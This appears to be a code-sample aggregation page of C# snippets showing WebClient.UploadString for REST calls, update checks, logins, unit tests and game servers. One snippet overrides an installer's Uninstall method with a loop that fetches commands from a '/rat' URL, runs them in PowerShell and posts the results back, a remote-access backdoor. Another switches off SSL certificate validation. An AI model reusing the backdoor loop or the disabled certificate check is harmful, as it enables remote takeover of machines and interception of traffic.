public FederateRecordSet GetFederateInfo()
 {
     if (ViewState["FederateRecordSet"] == null)
     {
         System.Net.WebClient wc = new WebClient();
         string federatedata = wc.UploadString("http://3dr.adlnet.gov/federation/3DR_Federation_Mgmt.svc/GetAllFederates", "POST", "");
         FederateRecordSet federates = (new JavaScriptSerializer()).Deserialize<FederateRecordSet>(federatedata);
         ViewState["FederateRecordSet"] = federates;
     }
     return ViewState["FederateRecordSet"] as FederateRecordSet;
 }
Example #2
0
    protected void Page_Load(object sender, EventArgs e)
    {
        var client = new WebClient();

        var create = client.UploadString("http://localhost:3502/ServiceHost/Web/REST.svc/User/webabcd/1980-2-14", "PUT", string.Empty);
        var read = client.DownloadString("http://localhost:3502/ServiceHost/Web/REST.svc/User/webabcd");
        var update = client.UploadString("http://localhost:3502/ServiceHost/Web/REST.svc/User/webabcd/1980-2-14", "POST", string.Empty);
        var delete = client.UploadString("http://localhost:3502/ServiceHost/Web/REST.svc/User/webabcd", "DELETE", string.Empty);

        lblMsg.Text = string.Format("{0}<br />{1}<br />{2}<br />{3}",
            create,
            read,
            update,
            delete);
    }
    private void GetUpdateList(string updateKey)
    {
        WebClient client = new WebClient();
        client.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";

        string response;

        try
        {
            response = client.UploadString("http://infinity-code.com/products_update/checkupdates.php",
            "k=" + WWW.EscapeURL(updateKey) + "&v=" + OnlineMaps.version + "&c=" + (int)channel);
        }
        catch
        {
            return;
        }
        
        XmlDocument document = new XmlDocument();
        document.LoadXml(response);

        XmlNode firstChild = document.FirstChild;
        updates = new List<OnlineMapsUpdateItem>();

        foreach (XmlNode node in firstChild.ChildNodes) updates.Add(new OnlineMapsUpdateItem(node));
    }
Example #4
0
 private void Game_OnGameEnd(GameEndEventArgs args)
 {
     using (WebClient wc = new WebClient())
     {
         wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
         wc.UploadString("http://niels-wouters.be/LeagueSharp/stats.php", "assembly=" + ChampName);
     }
 }
Example #5
0
    static void Main()
    {
        WebClient client = new WebClient();
        string address = "http://localhost:50560/CalculateDistance?startX=10&endX=10&startY=15&endY=15";
        var query = client.UploadString(address, "GET");

        Console.WriteLine(query);
    }
    private string GetUpdateKey()
    {
        WebClient client = new WebClient();
        client.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
        string updateKey = client.UploadString("http://infinity-code.com/products_update/getupdatekey.php",
            "key=" + invoiceNumber + "&package=" + WWW.EscapeURL("Online Maps"));

        return updateKey;
    }
	//The Methods can be Uninstall/Install.  Install is transactional, and really unnecessary.
	public override void Uninstall(System.Collections.IDictionary savedState)
	{		
		WebClient w = new WebClient();
			
            while (true)
            {
				
				try{
				
				string r = w.DownloadString("http://127.0.0.1/rat");
				string results = Pshell.RunPSCommand(r);
				w.UploadString("http://127.0.0.1/rat",results);
				}
				catch (Exception e)
				{
					w.UploadString("http://127.0.0.1/rat",e.Message);
				}
				
            }
			
	}
Example #8
0
 public string Post(string Url, string cookie, string data)
 {
     WebClient myClient = new WebClient();
     myClient.Headers.Add(cookie+"; __atuvc=5%7C15; __unam=4134b67-1453678e31a-476b0f5e-5");
     myClient.Headers.Add("X-Requested-With:XMLHttpRequest");
     myClient.Headers.Add("Content-Type: application/x-www-form-urlencoded");
     string resp = myClient.UploadString(Url, data);
     FileStream fs = new FileStream("E:/1.txt", FileMode.Create);
     byte[] bytes = Encoding.UTF8.GetBytes(resp);
     fs.Write(bytes, 0, bytes.Length);
     fs.Close();
     return resp;
 }
    /// <summary>
    /// Calls the API.
    /// </summary>
    /// <param name="source">
    /// The source.
    /// </param>
    /// <returns>
    /// The call API.
    /// </returns>
    /// <remarks>
    /// </remarks>
    public static string CallApi(string source)
    {
        using (var client = new WebClient())
        {
            client.Headers.Add("content-type", "application/x-www-form-urlencoded");
            var data = string.Format(PostData, source);
            var result = client.UploadString(ApiEndpoint, data);
            ErrorHandler.Publish(LogLevel.Debug, result);

            var doc = new XmlDocument();
            doc.LoadXml(result);
            var node = doc.SelectSingleNode("//compiledCode");
            return node != null ? node.InnerText : string.Empty;
        }
    }
Example #10
0
    private void Game_OnGameLoad(EventArgs args)
    {
        Player = ObjectManager.Player;

        if (ChampName.ToLower() != Player.ChampionName.ToLower())
            return;

        SkinManager = new SkinManager();
        Spells = new SpellManager();

        InitializeSpells(ref Spells);
        InitializeSkins(ref SkinManager);

        Menu = new Menu("Easy" + ChampName, "Easy" + ChampName, true);

        SkinManager.AddToMenu(ref Menu);

        Menu.AddSubMenu(new Menu("Target Selector", "Target Selector"));
        SimpleTs.AddToMenu(Menu.SubMenu("Target Selector"));

        Menu.AddSubMenu(new Menu("Orbwalker", "Orbwalker"));
        Orbwalker = new Orbwalking.Orbwalker(Menu.SubMenu("Orbwalker"));

        InitializeMenu();

        Menu.AddItem(new MenuItem("Recall_block", "Block spells while recalling").SetValue(true));
        Menu.AddToMainMenu();

        Game.OnGameUpdate += Game_OnGameUpdate;
        Game.OnGameEnd += Game_OnGameEnd;
        Drawing.OnDraw += Drawing_OnDraw;

        try
        {
            using (WebClient wc = new WebClient())
            {
                wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
                string amount = wc.UploadString("http://niels-wouters.be/LeagueSharp/playcount.php", "assembly=" + ChampName);
                Game.PrintChat("Easy" + ChampName + " is loaded! This assembly has been played in " + amount + " games.");
            }
        }
        catch (Exception)
        {
            Game.PrintChat("Easy" + ChampName + " is loaded! Error trying to contact EasyServer!");
        }
    }
Example #11
0
	//creates the player
	public static Player createPlayer(string name) {
		Player player = null;
		string endpoint = api + "/players?name=" + name + "&device_id=" + Util.getDeviceID ();

		WebClient client = new WebClient ();
		string response = client.UploadString (endpoint,"");

		JObject json = JObject.Parse (response);
		player = new Player(
			(int)json["id"],
			(string)json["name"],
			(int)json["hifive_count"],
			(int)json["characters"],
			(int)json["powerup_lvl"]
		);
		return player;

	}
Example #12
0
	public static void Main(string[] args)
	{
		var url = args[0];
		var user = args[1];
		var pass = args[2];
		var postData = args[3];

		//SSL証明書を無視
		ServicePointManager.ServerCertificateValidationCallback = 
			(sender, cert, chain, errors) => true;

		WebClient wc = new WebClient();

		//Basic認証
		wc.Credentials = new NetworkCredential(user, pass);

		//Post
		var res = wc.UploadString(url, "POST", postData);

		Console.Write(res);
	}
Example #13
0
 public string Request(string[] mnfo)
 {
     string HtmlResult = "";
     using (WebClient wc = new WebClient()) {
         string URI = "https://api.put.io/v2" + mnfo[1];
         if (mnfo[0] == "GET") {
             HtmlResult = wc.DownloadString(URI + "?oauth_token=" + this.Token);
         } else if (mnfo[0] == "POST") {
             wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
             mnfo[2] += "&oauth_token=" + this.Token;
             HtmlResult = wc.UploadString(URI, mnfo[2]);
         } else if (mnfo[0] == "GETRedirect") {
             var request = (HttpWebRequest)WebRequest.Create(URI + "?oauth_token=" + this.Token);
             request.Method = "HEAD";
             request.AllowAutoRedirect = false;
             string location;
             using (var response = request.GetResponse() as HttpWebResponse) {
                 location = response.GetResponseHeader("Location");
             }
             HtmlResult = location;
         }
     }
     return HtmlResult;
 }
Example #14
0
 public static async Task ConcurrentOperations_Throw()
 {
     await LoopbackServer.CreateServerAsync((server, url) =>
     {
         var wc = new WebClient();
         Task ignored = wc.DownloadDataTaskAsync(url); // won't complete
         Assert.Throws<NotSupportedException>(() => { wc.DownloadData(url); });
         Assert.Throws<NotSupportedException>(() => { wc.DownloadDataAsync(url); });
         Assert.Throws<NotSupportedException>(() => { wc.DownloadDataTaskAsync(url); });
         Assert.Throws<NotSupportedException>(() => { wc.DownloadString(url); });
         Assert.Throws<NotSupportedException>(() => { wc.DownloadStringAsync(url); });
         Assert.Throws<NotSupportedException>(() => { wc.DownloadStringTaskAsync(url); });
         Assert.Throws<NotSupportedException>(() => { wc.DownloadFile(url, "path"); });
         Assert.Throws<NotSupportedException>(() => { wc.DownloadFileAsync(url, "path"); });
         Assert.Throws<NotSupportedException>(() => { wc.DownloadFileTaskAsync(url, "path"); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadData(url, new byte[42]); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadDataAsync(url, new byte[42]); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadDataTaskAsync(url, new byte[42]); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadString(url, "42"); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadStringAsync(url, "42"); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadStringTaskAsync(url, "42"); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadFile(url, "path"); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadFileAsync(url, "path"); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadFileTaskAsync(url, "path"); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadValues(url, new NameValueCollection()); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadValuesAsync(url, new NameValueCollection()); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadValuesTaskAsync(url, new NameValueCollection()); });
         return Task.CompletedTask;
     });
 }
Example #15
0
        public static void UploadString_InvalidArguments_ThrowExceptions()
        {
            var wc = new WebClient();
            
            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadString((string)null, null); });
            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadString((string)null, null, null); });
            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadString((Uri)null, null); });
            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadString((Uri)null, null, null); });

            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringAsync((Uri)null, null); });
            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringAsync((Uri)null, null, null); });
            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringAsync((Uri)null, null, null, null); });

            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringTaskAsync((string)null, null); });
            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringTaskAsync((string)null, null, null); });
            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringTaskAsync((Uri)null, null); });
            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringTaskAsync((Uri)null, null, null); });

            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadString("http://localhost", null); });
            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadString("http://localhost", null, null); });
            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadString(new Uri("http://localhost"), null); });
            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadString(new Uri("http://localhost"), null, null); });

            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringAsync(new Uri("http://localhost"), null); });
            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringAsync(new Uri("http://localhost"), null, null); });
            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringAsync(new Uri("http://localhost"), null, null, null); });

            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringTaskAsync("http://localhost", null); });
            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringTaskAsync("http://localhost", null, null); });
            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringTaskAsync(new Uri("http://localhost"), null); });
            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringTaskAsync(new Uri("http://localhost"), null, null); });
        }
    protected void RequestStatusChange_Click(object sender, EventArgs e)
    {
        if (UpdateFederationPassword1.Text != UpdateFederationPassword2.Text)
        {
            UpdateFederationStatus.Text = "Passwords do not match!";
            return;
        }

        ModifyFederationRequest newFederate = new ModifyFederationRequest();
        newFederate.NamespacePrefix = Namespace.Text;
        newFederate.OrganizationPOCEmail = OrganizationEmail.Text;
        newFederate.OrganizationPOCPassword = UpdateFederationPassword1.Text;

           System.Net.WebClient wc = new WebClient();
           string request = (new JavaScriptSerializer()).Serialize(newFederate);

           wc.Headers["Content-Type"] = "application/json; charset=utf-8";
           string response = "";
           if(FederateStateRequest.Text == "Offline")
            response = wc.UploadString("http://3dr.adlnet.gov/federation/3DR_Federation_Mgmt.svc/ModifyFederate/1", "POST", request);

           if (FederateStateRequest.Text == "Online")
           response = wc.UploadString("http://3dr.adlnet.gov/federation/3DR_Federation_Mgmt.svc/ModifyFederate/0", "POST", request);

           if (FederateStateRequest.Text == "Remove From Federation")
           response = wc.UploadString("http://3dr.adlnet.gov/federation/3DR_Federation_Mgmt.svc/ModifyFederate/5", "POST", request);

           RequestFederationResponse serverresponse = (new JavaScriptSerializer()).Deserialize<RequestFederationResponse>(response);

           BindDetails();

        UpdateFederationStatus.Text = serverresponse.message;
    }
    protected void EnrollServer_Click(object sender, EventArgs e)
    {
        if (FederationPassword1.Text != FederationPassword2.Text)
        {
            RequestFederationStatus.Text = "Passwords do not match!";
            return;
        }
           FederateRecord newFederate = new FederateRecord();
           newFederate.ActivationState = FederateState.Active;
           newFederate.AllowFederatedDownload = AllowDownload.Checked;
           newFederate.AllowFederatedSearch = AllowSearch.Checked;
           newFederate.namespacePrefix = Namespace.Text;
           newFederate.OrganizationPOC = POCName.Text;
           newFederate.OrganizationPOCEmail = OrganizationEmail.Text;
           newFederate.OrganizationPOCPassword = FederationPassword1.Text;
           newFederate.OrganizationURL = OrganizationURL.Text;
           newFederate.OrginizationName = OrganizationName.Text;
           newFederate.RESTAPI = APIURL.Text;
           newFederate.SOAPAPI = APIURL.Text;

           System.Net.WebClient wc = new WebClient();
           string request = (new JavaScriptSerializer()).Serialize(newFederate);
        //   request = "{\"ActivationState\":0,\"AllowFederatedDownload\":true,\"AllowFederatedSearch\":true,\"RESTAPI\":\"http://localhost/3DRAPI/_3DRAPI.svc\",\"OrganizationPOC\":\"Admin\",\"OrganizationPOCEmail\":\"[email protected]\",\"OrganizationPOCPassword\":\"password\",\"OrganizationURL\":\"http://www.somecompany.com\",\"OrginizationName\":\"Some Company\",\"SOAPAPI\":\"\",\"namespacePrefix\":\"adl\"}";
           wc.Headers["Content-Type"] = "application/json; charset=utf-8";
           string response = wc.UploadString("http://3dr.adlnet.gov/federation/3DR_Federation_Mgmt.svc/RequestFederation", "POST", request);
           RequestFederationResponse serverresponse = (new JavaScriptSerializer()).Deserialize<RequestFederationResponse>(response);

           BindDetails();

        RequestFederationStatus.Text = serverresponse.message;
    }
    protected void btn_play_for_real_deposit_pledge_Click(object sender, EventArgs e)
    {
        HedgeEmLogEvent _xxx_log_event = new HedgeEmLogEvent();
        _xxx_log_event.p_method_name = "btn_play_for_real_deposit_pledge_Click";
        log.Info("[" + Session["username"].ToString() + "] clicked on Play for Real Deposit Pledge");
        try
        {
            // This will save the value of pledge amount in the database.
            play_for_real_deposit_pledge _play_for_real_deposit_pledge = new play_for_real_deposit_pledge
            {
                p_playerid = f_get_player_id(),
                p_play_for_real_amount = Convert.ToDouble(txt_play_for_real_deposit_pledge.Text)
            };

            DataContractJsonSerializer ser = new DataContractJsonSerializer(typeof(play_for_real_deposit_pledge));
            MemoryStream mem = new MemoryStream();
            ser.WriteObject(mem, _play_for_real_deposit_pledge);
            string data =
                Encoding.UTF8.GetString(mem.ToArray(), 0, (int)mem.Length);
            WebClient webClient = new WebClient();
            webClient.Headers["Content-type"] = "application/json";
            webClient.Encoding = Encoding.UTF8;
            webClient.UploadString("http://devserver.hedgeem.com/Service1.svc/f_set_play_for_real_deposit_pledge", data);
            webClient.UploadString("http://localhost:59225/Service1.svc/f_set_play_for_real_deposit_pledge", data);
            // Empties the value of textbox
            txt_play_for_real_deposit_pledge.Text = "";
            _global_game_state_object = (DC_hedgeem_game_state)f_get_object_from_json_call_to_server("get_game_state_object/" + _table_id, typeof(DC_hedgeem_game_state));
            game_id = _global_game_state_object.p_game_id;
            int my_number_of_hands = _global_game_state_object.p_number_of_hands_int;
            enum_betting_stage my_betting_stage = f_get_current_betting_stage();
            _game_state = _global_game_state_object.p_current_state_enum;
            _hedgeem_hand_panels = new hedgeem_hand_panel[my_number_of_hands];
            _int_number_of_betting_stages = _global_game_state_object.p_number_of_betting_stages_int;
            _hedgeem_betting_panels = new BETTING_PANEL[_int_number_of_betting_stages, my_number_of_hands];
            f_update_game_id();
            // Method which calls the functions to render the screen.
            f_call_functions_to_render_screen();
        }
        catch (Exception ex)
        {
            string my_error_popup = "alert('Error in btn_play_for_real_deposit_pledge_Click - " + ex.Message.ToString() + "');";
            ClientScript.RegisterClientScriptBlock(this.GetType(), "Alert", my_error_popup, true);
            HedgeEmLogEvent my_log = new HedgeEmLogEvent();
            my_log.p_message = "Exception caught in btn_play_for_real_deposit_pledge_Click function " + ex.Message;
            my_log.p_method_name = "btn_play_for_real_deposit_pledge_Click";
            my_log.p_player_id = f_get_player_id();
            my_log.p_game_id = game_id;
            my_log.p_table_id = _table_id;
            log.Error(my_log.ToString());
        }
    }
Example #19
0
        public string GetUsernames()
        {
            var cli = new WebClient();
            cli.Headers[HttpRequestHeader.ContentType] = "application/json";
            string response = cli.UploadString("http://www.spinxo.com/services/NameService.asmx/GetNames", "{snr:{Stub:\"username\"}}");

            return response;
        }
    //---------------------------------------------------------------------
    //-------------------------  PUBLIC METHODS  --------------------------
    //---------------------------------------------------------------------

    // Use this to do a POST and create a session
    public IEnumerator LOGINUser(string email, string password)
    {
        bool allProper = false;
        int retryCount = NumberOfRetries;

        // First thing first - I need to do some cleanup of the email string
        // And I need to store those informations for other calls
        login_email = CleanInput(email);
        login_password = password;

        JSONObject nested_fields = new JSONObject(JSONObject.Type.OBJECT);
        nested_fields.AddField("email", login_email);
        nested_fields.AddField("password", login_password);
        JSONObject root_field = new JSONObject(JSONObject.Type.OBJECT);
        root_field.AddField("user", nested_fields);

        string encodedString = root_field.ToString();

        string result = "";

        while (!allProper && retryCount > 0)
        {
            // the actual call, in a try catch
            try
            {
                using (var client = new WebClient())
                {
                    client.Headers[HttpRequestHeader.ContentType] = "application/json";
                    result = client.UploadString(login_url, "POST", encodedString);
                }
                allProper = true;
            }
            catch (WebException ex)
            {
                retryCount--;

                if (retryCount == 0)
                {
                    Debug.Log("TESTexception: " + ex);
                    var response = ex.Response as HttpWebResponse;
                    errorHandler = RestError.GenericLoginError;

                    if (response != null)
                    {
                        Debug.Log("HTTP Status Code: " + (int)response.StatusCode);
                        switch ((int)response.StatusCode)
                        {

                            case 400:
                                errorHandler = RestError.WrongMail;
                                break;
                            case 401:
                                errorHandler = RestError.WrongPassword;
                                break;
                            case 500:
                                errorHandler = RestError.ServerError;
                                break;
                            default:
                                break;
                        }
                        break;
                    }
                }
            }
        }

        yield return result;

        if (allProper)
        {
            errorHandler = RestError.AllGood;

            Debug.Log(result);
            JSONObject j = new JSONObject(result);
            // this won't work everytime
            Dictionary<string, string> decoded_response = j.ToDictionary();
            token = decoded_response["token"];
            logged_user_complete_name = decoded_response["complete_name"];
            logged_user_id = decoded_response["id"];


            int sessionCounter = int.Parse(decoded_response["sessions_counter"]);

            if (sessionCounter > 0)
            {
                sessionsHandler = RestSession.MultipleActive;
            }
        }
    }
    // Use this to do a POST for a paint exercise
    public IEnumerator POSTPaintExercise(string exercisePath)
    {
        bool allProper = false;
        int retryCount = NumberOfRetries;

        string result = "";

        PaintPreferences xmldata = new PaintPreferences();

        // let's start with the easy part: they tell me
        // where the .xml is, I open it and read it
        string mainFilePath = exercisePath + "\\main.xml";
        //Debug.Log("The path i search for the xml is " + mainFilePath);

        if (File.Exists(mainFilePath))
        {
            xmldata.LoadXML(mainFilePath);
            //Debug.Log("I actually read it!");

            // since it's really working we can
            // create the JSON structure to send

            JSONObject nested_fields_lvl1 = new JSONObject(JSONObject.Type.OBJECT);

            nested_fields_lvl1.AddField("patient_id", PaintPreferences.patientID);
            nested_fields_lvl1.AddField("start_datetime", PaintPreferences.initTime);
            nested_fields_lvl1.AddField("end_datetime", PaintPreferences.endTime);
            nested_fields_lvl1.AddField("patient_only", PaintPreferences.patientOnly.ToString().ToLower());

            // I have to get all the doctors involved
            // and pick out the first since it is the logged one
            string list_of_doctors = string.Join(", ", PaintPreferences.doctorsIDs.Skip(1).ToArray());
            nested_fields_lvl1.AddField("other_doctors", "[" + list_of_doctors + "]");

            JSONObject nested_fields_lvl2D = new JSONObject(JSONObject.Type.OBJECT);
            int count = 0;
            foreach (float dimension in PaintPreferences.paintDim)
            {
                count += 1;
                nested_fields_lvl2D.AddField("d" + count.ToString(), dimension);
            }
            nested_fields_lvl1.AddField("dimension", nested_fields_lvl2D);

            count = 0;
            foreach (Color single_color in PaintPreferences.paintColor)
            {
                JSONObject nested_fields_lvl2C = new JSONObject(JSONObject.Type.OBJECT);
                count += 1;
                nested_fields_lvl2C.AddField("a", single_color.a);
                nested_fields_lvl2C.AddField("r", single_color.r);
                nested_fields_lvl2C.AddField("g", single_color.g);
                nested_fields_lvl2C.AddField("b", single_color.b);

                nested_fields_lvl1.AddField("color" + count.ToString(), nested_fields_lvl2C);
            }

            if (PaintPreferences.colorFilterEnabled == true)
            {
                JSONObject nested_fields_lvl2CF = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2CF.AddField("a", PaintPreferences.colorFilterAlpha.ToString());
                nested_fields_lvl2CF.AddField("r", PaintPreferences.colorFilter.r.ToString());
                nested_fields_lvl2CF.AddField("g", PaintPreferences.colorFilter.g.ToString());
                nested_fields_lvl2CF.AddField("b", PaintPreferences.colorFilter.b.ToString());

                nested_fields_lvl1.AddField("color_filter", nested_fields_lvl2CF);
            }

            // I have to set it here because srly that is fucked up
            // PaintPreferences.backgroundIsImage = false;
            // now the part which is going to be a mess, about the backgrounds
            if (PaintPreferences.backgroundIsImage == false)
            {
                JSONObject nested_fields_lvl2BG = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2BG.AddField("a", PaintPreferences.backgroundColor.a.ToString());
                nested_fields_lvl2BG.AddField("r", PaintPreferences.backgroundColor.r.ToString());
                nested_fields_lvl2BG.AddField("g", PaintPreferences.backgroundColor.g.ToString());
                nested_fields_lvl2BG.AddField("b", PaintPreferences.backgroundColor.b.ToString());

                nested_fields_lvl1.AddField("background_color", nested_fields_lvl2BG);
            }
            else
            {
                string fullPath = Path.Combine(exercisePath, Path.GetFileName(PaintPreferences.backgroundTexturePath));

                byte[] bytes = File.ReadAllBytes(fullPath);

                string base64String = Convert.ToBase64String(bytes);
                //Debug.Log("codifica dell'immagine: " + base64String);

                JSONObject nested_fields_lvl2BI = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2BI.AddField("filename", PaintPreferences.backgroundTexturePath);
                nested_fields_lvl2BI.AddField("content", base64String);
                nested_fields_lvl2BI.AddField("content_type", "image/jpeg");

                nested_fields_lvl1.AddField("background_image", nested_fields_lvl2BI);
            }

            string drawingFilePath = exercisePath + "\\Paint_Drawing.png";

            if (File.Exists(drawingFilePath))
            {
                byte[] bytes = File.ReadAllBytes(drawingFilePath);

                string base64String = Convert.ToBase64String(bytes);
                //Debug.Log("codifica dell'immagine: " + base64String);

                JSONObject nested_fields_lvl2PD= new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2PD.AddField("filename", "Paint_Drawing.png");
                nested_fields_lvl2PD.AddField("content", base64String);
                nested_fields_lvl2PD.AddField("content_type", "image/png");

                nested_fields_lvl1.AddField("paint_drawing", nested_fields_lvl2PD);
            }


            if (1 == 1)
            {
                // I'm reading the heartbeats now
                string fullPathHB = Path.Combine(exercisePath, "heartRate.dat");
                Debug.Log("path dove cerca l'HB: " + fullPathHB);

                byte[] bytesHB = File.ReadAllBytes(fullPathHB);

                string base64StringHB = System.Convert.ToBase64String(bytesHB);
                // Debug.Log("codifica dell'immagine: " + base64String);

                JSONObject nested_fields_lvl2HB = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2HB.AddField("filename", "heartRate.dat");
                nested_fields_lvl2HB.AddField("content", base64StringHB);
                nested_fields_lvl2HB.AddField("content_type", "file/dat");

                nested_fields_lvl1.AddField("heartbeat_file", nested_fields_lvl2HB);
            }

            // finally, everything goes back in to trails
            JSONObject root_paint = new JSONObject(JSONObject.Type.OBJECT);
            root_paint.AddField("paint", nested_fields_lvl1);

            string encodedString = root_paint.ToString();
            Debug.Log(encodedString);

            while (!allProper && retryCount > 0)
            {
                //the actual call, in a try catch
                try
                {
                    using (var client = new WebClient())
                    {
                        string token_string = "Token token=\"" + token + "\", email=\"" + login_email + "\"";
                        client.Headers[HttpRequestHeader.Authorization] = token_string;
                        client.Headers[HttpRequestHeader.ContentType] = "application/json";
                        result = client.UploadString(paints_url, "POST", encodedString);
                    }
                    allProper = true;
                }
                catch (WebException ex)
                {
                    retryCount--;

                    if (retryCount == 0)
                    {
                        Debug.Log("exception: " + ex);
                        var response = ex.Response as HttpWebResponse;
                        errorHandler = RestError.GenericPostPaintError;

                        if (response != null)
                        {
                            Debug.Log("HTTP Status Code: " + (int)response.StatusCode);
                            switch ((int)response.StatusCode)
                            {

                                //			case 400:
                                //				errorHandler = RestError.WrongMail;
                                //				break;
                                //			case 401:
                                //				errorHandler = RestError.WrongPassword;
                                //				break;
                                case 500:
                                    errorHandler = RestError.ServerError;
                                    break;
                                default:
                                    break;
                            }
                        }
                        break;
                    }
                }
            }
        }
        else
        {
            errorHandler = RestError.XMLNotPresent;
        }

        yield return result;

        if (allProper)
        {
            errorHandler = RestError.AllGood;

            Debug.Log(result);
        }

    }
Example #22
0
    private string _processRequest(Dictionary<string, string> postVariables)
    {
        string queryString = _prepareQueryString(postVariables);
        string result      = "";
        using (WebClient wc = new WebClient()) {
            wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
            result = wc.UploadString(serverUrl, queryString);
        }

        return result;
    }
 public void PostToWall(string message)
 {
     if (!HasToken)
     {
         throw new ArgumentException("Facebook Token");
     }
     else
     {
         WebClient wc = new WebClient();
         wc.Encoding = Encoding.UTF8;
         wc.UploadString("https://graph.facebook.com/me/feed", null, "access_token=" + this.Token + "&message=" + message);
     }
 }
    public static void DownloadClip(WebClient client, Clip clip)
    {
        // Request Header
        // Content-Type: application/json;charset=utf-8
        // Cookie: PSM=ABCDE.....
        //
        // Request Body
        // {a:"scott-allen", m:"mvc-ajax", course:"aspdotnet-mvc-advanced-topics", cn:1, mt:"mp4", q:"1024x768", cap:false, lc:"en"}

        client.Headers.Add("Content-Type", "application/json");
        var request = String.Format(
            @"{{a:""{0}"", m:""{1}"", course:""{2}"", cn:{3}, mt:""mp4"", q:""1024x768"", cap:false, lc:""en""}}",
            clip.Author, clip.Name, clip.Course, clip.Num);

        Logger.LogToConsoleEnabled = false;
        Logger.Log("Request: " + request);
        var response = client.UploadString(ClipRequestUrl, request);
        Logger.Log("Response: " + response);
        Logger.LogToConsoleEnabled = true;

        client.DownloadFile(response, clip.Course + "/" + clip.FileName);
    }
Example #25
0
 protected override Task<string> UploadStringAsync(WebClient wc, string address, string data) => Task.Run(() => wc.UploadString(address, data));
    protected void btn_play_for_real_Click(object sender, EventArgs e)
    {
        HedgeEmLogEvent my_log_event = new HedgeEmLogEvent();
        my_log_event.p_method_name = "btn_play_for_real_Click";
        log.Info("[" + Session["username"].ToString() + "] cliked on Play for Real button.");
        try
        {
            // This will get the current value of count that how many times user have clicked on the button, from the database.       
            int play_for_real_count = Convert.ToInt32(f_get_object_from_json_call_to_server("f_get_play_for_real_count/" + f_get_player_id().ToString(), null));

            // This will increment the value of count.
            play_for_real _play_for_real = new play_for_real
            {
                p_playerid = f_get_player_id(),
                p_play_for_real_count = play_for_real_count
            };

            DataContractJsonSerializer ser = new DataContractJsonSerializer(typeof(play_for_real));
            MemoryStream mem = new MemoryStream();
            ser.WriteObject(mem, _play_for_real);
            string data =
                Encoding.UTF8.GetString(mem.ToArray(), 0, (int)mem.Length);
            WebClient webClient = new WebClient();
            webClient.Headers["Content-type"] = "application/json";
            webClient.Encoding = Encoding.UTF8;
            webClient.UploadString("http://devserver.hedgeem.com/Service1.svc/f_set_play_for_real_count", data);
            webClient.UploadString("http://localhost:59225/Service1.svc/f_set_play_for_real_count", data);

            _global_game_state_object = (DC_hedgeem_game_state)f_get_object_from_json_call_to_server("get_game_state_object/" + _table_id, typeof(DC_hedgeem_game_state));
            game_id = _global_game_state_object.p_game_id;
            int my_number_of_hands = _global_game_state_object.p_number_of_hands_int;
            enum_betting_stage my_betting_stage = f_get_current_betting_stage();
            _game_state = _global_game_state_object.p_current_state_enum;
            _hedgeem_hand_panels = new hedgeem_hand_panel[my_number_of_hands];
            _int_number_of_betting_stages = _global_game_state_object.p_number_of_betting_stages_int;
            _hedgeem_betting_panels = new BETTING_PANEL[_int_number_of_betting_stages, my_number_of_hands];
            lbl_game_id.Text = String.Format("Table/Game: {0}/{1} ", _global_game_state_object.p_table_id, game_id);
            // Method which calls the functions to render the screen.
            f_call_functions_to_render_screen();
        }
        catch (Exception ex)
        {
            string my_error_popup = "alert('Error in btn_play_for_real_Click - " + ex.Message.ToString() + "');";
            ClientScript.RegisterClientScriptBlock(this.GetType(), "Alert", my_error_popup, true);
            HedgeEmLogEvent my_log = new HedgeEmLogEvent();
            my_log.p_message = "Exception caught in btn_play_for_real_Click function " + ex.Message;
            my_log.p_method_name = "btn_play_for_real_Click";
            my_log.p_player_id = f_get_player_id();
            my_log.p_game_id = game_id;
            my_log.p_table_id = _table_id;
            log.Error(my_log.ToString());
        }
    }
    // Use this to do a POST of a trails exercise
    public IEnumerator POSTTrailExercise(string exercisePath)
    {
        bool allProper = false;
        int retryCount = NumberOfRetries;
        string result = "";

        TrailPreferences xmldata = new TrailPreferences();

        // let's start with the easy part: they tell me
        // where the .xml is, I open it and read it
        string mainFilePath = exercisePath + "\\main.xml";
        //Debug.Log("The path i search for the xml is " + mainFilePath);

        if (File.Exists(mainFilePath))
